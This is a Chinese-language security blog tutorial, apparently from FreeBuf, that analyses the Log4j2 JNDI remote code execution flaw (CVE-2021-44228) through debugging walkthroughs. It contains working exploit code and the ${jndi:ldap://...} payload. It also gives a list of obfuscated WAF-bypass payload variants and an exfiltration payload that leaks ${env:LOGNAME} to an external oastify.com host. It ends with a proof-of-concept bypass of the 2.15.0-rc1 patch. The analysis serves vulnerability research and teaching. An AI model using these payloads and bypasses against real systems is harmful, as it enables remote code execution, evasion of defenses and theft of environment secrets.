freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

深入学习 Log4j2 漏洞原理以及绕过手段
2022-08-14 10:32:53
所属地 浙江省

看到网上烂的文章还是不少,决定自己写一篇,深入理解一下 log4j2 的 RCE

Log4j2 复现 CVE-2021-44228

0x01 前言

忍不住想先学一学 Log4j2 的漏洞,结果上网一查资料,看到一些资料感觉写的不太清楚,于是自己提笔来写一篇 ~

0x02 Log4j2 基础开发学习

环境

jdk8u65

网上有很多说 jdk8u191 之后就不行了,其实不是的;高版本 jdk 是有绕过手段的。

Log4j2 2.14.1

CC 3.2.1 (最好是)

Demo 实现

开发的话,其实也不难,因为作为组件的话,如果要实现组件功能的话实现配置即可。

这里主要是简单走一遍开发流程,让大家了解一下 log4j2 有什么用。

log4j 和 log4j2 都是日志管理工具,相比于 log4j,log4j2 一步步变得越来越主流,现在市场很很多的项目都是 slf4j + log4j2

我们这里就简单看一个 Log4j2 的小 demo,并不复杂。

首先要实现 Log4j2 的组件应用,先是 Pom.xml

<dependency>  
 <groupId>org.apache.logging.log4j</groupId>  
 <artifactId>log4j-core</artifactId>  
 <version>2.14.1</version>  
</dependency>  
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->  
<dependency>  
 <groupId>org.apache.logging.log4j</groupId>  
 <artifactId>log4j-api</artifactId>  
 <version>2.14.1</version>  
</dependency>  
<dependency>  
 <groupId>junit</groupId>  
 <artifactId>junit</artifactId>  
 <version>4.12</version>  
 <scope>test</scope>  
</dependency>

然后网上有讲很多教程,说 log4j2 的一些实现方式,什么 xml,yaml,properties 等很多方式。

这里,我们简单用 xml 的方式来实现,文件如下

<?xml version="1.0" encoding="UTF-8"?>  
<!-- log4j2 配置文件 -->  
<!-- 日志级别 trace<debug<info<warn<error<fatal --><configuration status="info">  
 <!-- 自定义属性 -->  
 <Properties>  
 <!-- 日志格式(控制台) -->  
 <Property name="pattern1">[%-5p] %d %c - %m%n</Property>  
 <!-- 日志格式(文件) -->  
 <Property name="pattern2">  
 =========================================%n 日志级别:%p%n 日志时间:%d%n 所属类名:%c%n 所属线程:%t%n 日志信息:%m%n  
        </Property>  
 <!-- 日志文件路径 -->  
 <Property name="filePath">logs/myLog.log</Property>  
 </Properties>  
 <appenders> <Console name="Console" target="SYSTEM_OUT">  
 <PatternLayout pattern="${pattern1}"/>  
 </Console> <RollingFile name="RollingFile" fileName="${filePath}"  
 filePattern="logs/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz">  
 <PatternLayout pattern="${pattern2}"/>  
 <SizeBasedTriggeringPolicy size="5 MB"/>  
 </RollingFile> </appenders> <loggers> <root level="info">  
 <appender-ref ref="Console"/>  
 <appender-ref ref="RollingFile"/>  
 </root> </loggers></configuration>

然后写一个 demo

import org.apache.logging.log4j.LogManager;  
import org.apache.logging.log4j.Logger;  
  
import java.util.function.LongFunction;  
  
public class Log4j2Test01 {  
    public static void main( String[] args )  
    {  
        Logger logger = LogManager.getLogger(LongFunction.class);  
 logger.trace("trace level");  
 logger.debug("debug level");  
 logger.info("info level");  
 logger.warn("warn level");  
 logger.error("error level");  
 logger.fatal("fatal level");  
 }  
}

跑起来是这个样子

image

实际开发场景

现在的代码是我们封装的一个行为,一般日志文件还是需要输出的。然后实际应用的话,是这样的。

比如我从数据库获取到了一个 username 为 "Drunkbaby",我要把它登录进来的信息打印到日志里面,这个路径一般有一个 /logs 的文件夹的。

这时候就是我们的实际应用场景,跑一下看看。

import org.apache.logging.log4j.LogManager;  
import org.apache.logging.log4j.Logger;  
  
import java.util.function.LongFunction;  
  
public class RealEnv {  
    public static void main(String[] args) {  
        Logger logger = LogManager.getLogger(LongFunction.class);  
  
 String username = "Drunkbaby";  
 if (username != null) {  
            logger.info("User {} login in!", username);  
 }  
        else {  
            logger.error("User {} not exists", username);  
 }  
    }  
}

Run 一下

image

当然实际场景里面肯定不会是判断 null,肯定是和 mybatis 数据库这种结合起来使用的,具体的 demo 我就不写了,仅仅知道开发流程就可以了。

0x03 Log4j2 漏洞分析

影响版本

2.x <= log4j <= 2.15.0-rc1

漏洞原理

我们可以看到在logger.info("User {} login in!", username);的这个地方,实际上 ———— username 这个参数是可控的。我输入 username 确实是用户可控的。

那么这里,我们尝试输入一下其他的呢?

我们将 username 修改为String username = "${java:os}";,再跑一下看看。

image

这里并不是打印出了 "Hello, $java:os",而是打印出了我们操作系统的一些信息。这里的设计看上去就有非常大的问题,官方文档的意思是这是 log4j2 自带的一个功能。

image

其实如果按照官网上面的那几个 api 来看,其实不太严重,最多也就是日志与我们输入对不上而已,并不是会引起大的安全漏洞。

真正的问题是,这里的 lookup 它是基于 jndi 的,而 jndi 里面我们早在之前说过直接调用 lookup() 是会存在漏洞的。

jndi 可以看我这篇文章。Java反序列化之JNDI学习 | 芜风 (drun1baby.github.io)

0x04 漏洞复现与 EXP

在知道漏洞原理的情况下,我们可以直接写 EXP 了,EXP 非常简单,就一句话

import org.apache.logging.log4j.LogManager;  
import org.apache.logging.log4j.Logger;  
  
import java.util.function.LongFunction;  
  
public class log4j2EXP {  
    public static void main(String[] args) {  
        Logger logger = LogManager.getLogger(LongFunction.class);  
  
 String username = "${jndi:ldap://127.0.0.1:1234/ExportObject}";  
  
 logger.info("User {} login in!", username);  
 }  
}

然后要开启 RMIServer,因为之前有代码,这里就不放了。

成功

image

0x05 调试分析

分析

这里我觉得还是会走到原生的 RMI 里面的 lookup 方法去的。

调试会有点难度,而且会有很多遍的各种调用,因为日志第一行是{pattern1}还有{pattern2};后续还有日期的那些信息,到最后才是我们的输入。
所以要把断点找好,一直 f9 比较节省时间。

不要直接调试,我们下个断点在PatternLayout这个类下的toSerializable()方法。因为前面的调试很多都是在转来转去,这样太浪费时间了。

image

往下走,先是一个循环,遍历formatters一段一段的拼接输出的内容,不是很重要。

两个传进去进行处理的变量,一个是 event,也就是我们 log4j2 需要来进行日志打印的内容;另外一个 buffer,我们会把打印出来的东西写进 buffer。

image

跟进format()方法,这个format()方法师傅们可以把它当作是处理字符串的一个方法,具体如何处理是根据具体情况重写的。当时自己学习的时候就一直纠结的这个,其实没必要。

因为这是一个循环来遍历formatters的,中间会做很多数据处理的工作,这都不重要,但是有一个地方特别重要,我这里当 i = 7 的时候进入到了另外的一个 format 处理方法,如图。

image

image

其实 event 还是同一个,这里循环到底是什么逻辑我也搞不清楚,如果有了解的师傅还请指点一下 ~

当我们进到这个format()方法里面之后,先判断是否是 Log4j2 的 lookups 功能。这里我们是 lookups 功能,所以可以继续往下走。

image

继续往下走,会遍历 workingBuilder 来进行判断;如果 workingBuilder 中存在${,那么就会取出从 $ 开始知道最后的字符串,这一步

image

workingBuilder 的内容如下,其实结构也比较清晰方法名,日志级别,当前类名,然后就是我们的 payload

image

所以上图的 value 就是我们输入的 payload${jndi:ldap://127.0.0.1:1389/Calc}

跟进replace()方法,replace()方法里面调用了substitute()方法

image

跟进之后 f7 进入到这里

image

继续往下走,直到这个 while 循环里面,在 while 循环中,会对字符进行逐字匹配${

image

然后进行循环读取,知道读取到 } 并获取其坐标,然后将 ${} 中间的内容取出来,然后又会调用this.subtitute来处理。

这里会多次进入这个过程,说真的挺头疼的,不用管其他流程,我们就关注这个${jndi:ldap://127.0.0.1:1234/ExportObject}的值即可

image

再次运行 subtitue 的时候由于我们已没有 ${ } 所以就直接来到下面,将 varName 作为变量传入了 resolveVariable 函数

image

varName 就是为 ${} 中的值

image

可以猜测resolver解析时支持的关键词有[date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j],而我们这里利用的jndi:xxx后续就会用到JndiLookup这个解析器

image

image

这里我们看到resolveVariable()方法里面是调用了lookup()方法,这个lookup()方法也就是 jndi 里面原生的方法,在我们让 jndi 去调用 ldap 服务的时候,是调用原生的lookup()方法的,是存在漏洞的。

image

image

再可以往里跟一下

image

再往下走就是 JNDI 常规的注入了,分析过程到此结束。

小结调试

  1. 先判断内容中是否有${},然后截取${}中的内容,得到我们的恶意payloadjndi:xxx

  2. 后使用:分割payload,通过前缀来判断使用何种解析器去lookup

  3. 支持的前缀包括date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,后续我们的绕过可能会用到这些。

0x06 针对 WAF 的常规绕过

出发点是基于很多 WAF 检测是否存在jndi:等关键词进行判断,下面我们讲一讲绕过手法。

根据官方文档中的描述,如果参数未定义,那么:-后面的就是默认值,通俗的来说就是默认值

image

1. 利用分隔符和多个${}绕过

例如这个 payload

logg.info("${${::-J}ndi:ldap://127.0.0.1:1389/Calc}");

2. 通过 lower 和 upper 绕过

这一点,因为我们之前说允许的字段是这一些
date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,其中就有 lower 和 upper

同时也可以利用 lower 和 upper 来进行 bypass 关键字

logg.info("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}");
logg.info("${${upper:j}ndi:ldap://127.0.0.1:1389/Calc}");
....

同时也可以利用一些特殊字符的大小写转化的问题

ı => upper => i (Java 中测试可行)

ſ => upper => S (Java 中测试可行)

İ => upper => i (Java 中测试不可行)

K => upper => k (Java 中测试不可行)

logg.error("${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}");
...

由于这玩意儿测试过程中随便插都行,现在数据传输很多都是 json 形式,所以在 json 中我们也可以进行尝试

像 Jackson 和 fastjson 又有 unicode 和 hex 的编码特性,所以就可以尝试编码绕过

{"key":"\u0024\u007b"}
{"key":"\x24\u007b"}

3. 总结一些 payload

原始payload

"${jndi:ldap://127.0.0.1:1234/ExportObject}";

对应的绕过手段

${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject};
  
${${a:-j}n${::-d}i:ldap://127.0.0.1:1234/ExportObject}";
  
${${lower:jn}di:ldap://127.0.0.1:1234/ExportObject}";
  
${${lower:${upper:jn}}di:ldap://127.0.0.1:1234/ExportObject}";
  
${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1234/ExportObject}";

4. 奇淫技巧

主要是读取敏感信息,GoogleCTF2022 的 log4j2 的题目中,有一种非预期的方式就是通过这种方式打的

刚才分析了其他解析器功效,通过sysenv协议,结合jndi可以读取到一些环境变量和系统变量,特定情况下可能可以读取到系统密码

举个例子

${jndi:ldap://${env:LOGNAME}.1hj2a0litb8gvybwuy1m16vj8ae02p.oastify.com}

image

我这里本地利用失败了,还有浅蓝师傅提出来的读取 classpath 的敏感信息的利用方式 ———— http://wjlshare.com/archives/1677

0x07 Log4j2 2.15.0 漏洞修复与绕过

说实话,挺鸡肋的,而且受操作系统影响,Windows 无法复现成功,师傅们可以看一下思路,不用跟着复现。

1. 初窥 log4j 2.15.0 版本的修复

官方给出了 CVE 编号和补丁,升级到了 2.15.0 之后默认不开启 JNDI Lookup

image

漏洞修复主要是在 JndiManager#lookup 中增加了代码,因为最终的触发点就是这里,我们可以先跑一下之前的 2.14.1 里面攻击的 EXP

import org.apache.logging.log4j.LogManager;  
import org.apache.logging.log4j.Logger;  
import org.apache.logging.log4j.core.layout.PatternLayout;  
  
import java.util.function.LongFunction;  
  
public class OriginalEXP {  
    public static void main(String[] args) {  
        Logger logger = LogManager.getLogger(LongFunction.class);  
  
 String username = "${jndi:ldap://127.0.0.1:1234/ExportObject}";  
  
 logger.error("User {} login in!", username);  
 }  
}

如果这时候运行的话我们会直接把一整个 username 直接就装进去了,并不执行任何命令,也就是说这个语句是正常走的,但是没有走到 lookup 里面进去,没有实现到我们想要的效果。

后续的分析会把 2.14.1 和 2.15.0 两个版本对照起来调试,要不然调试这一块确实很难。

我一开始是把断点打在StrSubstitutor这个类下的resolver.lookup那里,但是发现一直走不进去,所以先把断点打在PatternLayout#toSerializable这里。

左边是 2.14.1 版本的,右边是 2.15.0 版本的,开始调试。

因为我前文说过,toSerializable 这里会读取日志的全部部分,所以一开始是什么[ERROR]那些的。所以我们要走到读取 payload 的地方。如图所示,2.14.1 类是MessagePatternConverter,2.15.0 是MessagePatternConverter.SimplePatternConverter

image

这里 2.14.1 的版本会进行${}的判断,而 2.15.0 的版本会直接把它 toAppendTo 进去。注意!这是同一个类的 format 方法,由此可见,此处是 2.15.0 版本的修复点之一。

image

2.15.0 版本的 log4j 包还在JndiManager#lookup中增加了代码,不过我们现在得先走到那里面进去再去分析。现在应该想办法走进JndiManager#lookup

后续听 4ra1n 师傅,也就是许少说,Windows 上无法复现成功,需要 mac 才可以,这里绕过我觉得可以看一个思路,但是实际利用上还是很鸡肋。

2. log4j rc1 bypass

按照我们上面所分析的,难道就没有办法进入到lookup()进行攻击了吗?

其实不是这样的,我们在MssagePatternConverter这个类里面找之前 2.14.1 版本中的调用语句:config.getStrSubstitutor().replace(event, value)。结果是找到一个非常非常类似的语句,位置如图所示

image

点进去看replaceIn()方法,它所属的类是StrSubstitutor,这和我们在 2.14.1 里面分析的是一样的过程。

image

那么回来看调用replaceIn()方法的format()方法是隶属于LookupMessagePatternConverter这个类的,而这个类继承了MessagePatternConverter;如果我们要进到LookupMessagePatternConverter这个类里面去,需要满足前文提到的ConverterLookupMessagePatternConverter这个类。

但是怎么样才能让converter的类变成LookupMessagePatternConverter,而不是SimpleMessagePatternConverter呢?

(一开始这里自己分析不下去了,看天下大木头师傅的文章才知道是怎么解决的)

newInstance()方法中会调用loadLookups()这个方法,在loadLookups()方法中会根据if (LOOKUPS.equalsIgnoreCase(option))的结果来判断是哪一个 Converter,我们可以在这里打个断点。发现是要满足两个条件才可以,如图。

image

在经过多次尝试之后,发现其实限制因素其实都是需要我们手动去修改的,在实际渗透的时候不可能会遇到这种情况,如图。

image

所以这也是补丁绕过比较鸡肋的地方

为了分析绕过,我们只能手动配置了。

手动开启的 lookup 在 resources 中添加 log4j2.xml 文件

<configuration status="OFF" monitorInterval="30">
    <appenders>
        <console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
            <PatternLayout pattern="%m{lookups}%n"/>
        </console>
    </appenders>

    <loggers>
        <root level="error">
            <appender-ref ref="CONSOLE-APPENDER"/>
        </root>
    </loggers>
</configuration>

所以我们的 EXP 应该是这样的。

import org.apache.logging.log4j.LogManager;  
import org.apache.logging.log4j.Logger;  
import org.apache.logging.log4j.core.LogEvent;  
import org.apache.logging.log4j.core.config.Configuration;  
import org.apache.logging.log4j.core.config.DefaultConfiguration;  
import org.apache.logging.log4j.core.impl.MutableLogEvent;  
import org.apache.logging.log4j.core.pattern.MessagePatternConverter;  
  
import java.util.function.LongFunction;  
  
// 绕过 rc1 的 EXPpublic class BypassRc1EXP {  
    public static void main(String[] args) {  
        Logger logger = LogManager.getLogger(LongFunction.class);  
  
 Configuration configuration = new DefaultConfiguration();  
 MessagePatternConverter messagePatternConverter = MessagePatternConverter.newInstance(configuration,  
 new String[]{"lookups"});  
 LogEvent logEvent = new MutableLogEvent(new StringBuilder("${jndi:ldap://127.0.0.1:1234/ExportObject}"),null);  
 messagePatternConverter.format(logEvent,new StringBuilder("${jndi:ldap://127.0.0.1:1234/ExportObject}"));  
 }  
}

这时候会成功进入到JndiManager#lookup里面去,这个方法在相较于 2.14.1 还是变化非常非常大的。

在这里做了很多限制,一个一个来看

image

在最开始的 this.allowedProtocols 为 {java,ldap,ldaps} 我们的 ldap 在其中,所以会继续

接下来就是 this.allowedHosts 的限制,这个限制的非常死,只允许本地host

image

后面还有对 javaSerializedData 中的 classname 做了处理;以及 Reference 和 javaFactory 做了处理,也就是对 JDNI 注入做了处理,师傅们可以去木头师傅的博客观看 ~

但是其实最终的绕过的话,是因为抛出异常这里没有进行限制,所以我们传入的 Payload 可以是这样:"${jndi:ldap://127.0.0.1:1234/ ExportObject}",也就是多个空格,就可以进入到catch里面绕过

image

完整 EXP 如下

import org.apache.logging.log4j.LogManager;  
import org.apache.logging.log4j.Logger;  
import org.apache.logging.log4j.core.LogEvent;  
import org.apache.logging.log4j.core.config.Configuration;  
import org.apache.logging.log4j.core.config.DefaultConfiguration;  
import org.apache.logging.log4j.core.impl.MutableLogEvent;  
import org.apache.logging.log4j.core.pattern.MessagePatternConverter;  
  
import java.util.function.LongFunction;  
  
// 绕过 rc1 的 EXP,Windows 无法触发  
public class BypassRc1EXP {  
    public static void main(String[] args) {  
        Logger logger = LogManager.getLogger(LongFunction.class);  
  
 Configuration configuration = new DefaultConfiguration();  
 MessagePatternConverter messagePatternConverter = MessagePatternConverter.newInstance(configuration,  
 new String[]{"lookups"});  
 LogEvent logEvent = new MutableLogEvent(new StringBuilder("${jndi:ldap://127.0.0.1:1234/ ExportObject}"),null);  
 messagePatternConverter.format(logEvent,new StringBuilder("${jndi:ldap://127.0.0.1:1234/ ExportObject}"));  
 }  
}

0x08 参考资料

http://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/02.%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/01.Java%E5%AE%89%E5%85%A8/03.%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/06.log4j2_rce%E5%88%86%E6%9E%90.html
http://wjlshare.com/archives/1674
http://wjlshare.com/archives/1677
https://xz.aliyun.com/t/10649
https://xz.aliyun.com/t/10689#toc-0
https://y4tacker.github.io/2022/07/06/year/2022/7/GoogleCTF2022-Log4j/#%E9%80%89%E6%8B%A9%E5%90%88%E9%80%82%E7%9A%84%E7%B1%BB%E5%AE%8C%E6%88%90challenge

# web安全 # java反序列化 # 原理分析 # JAVA安全 # Log4J漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录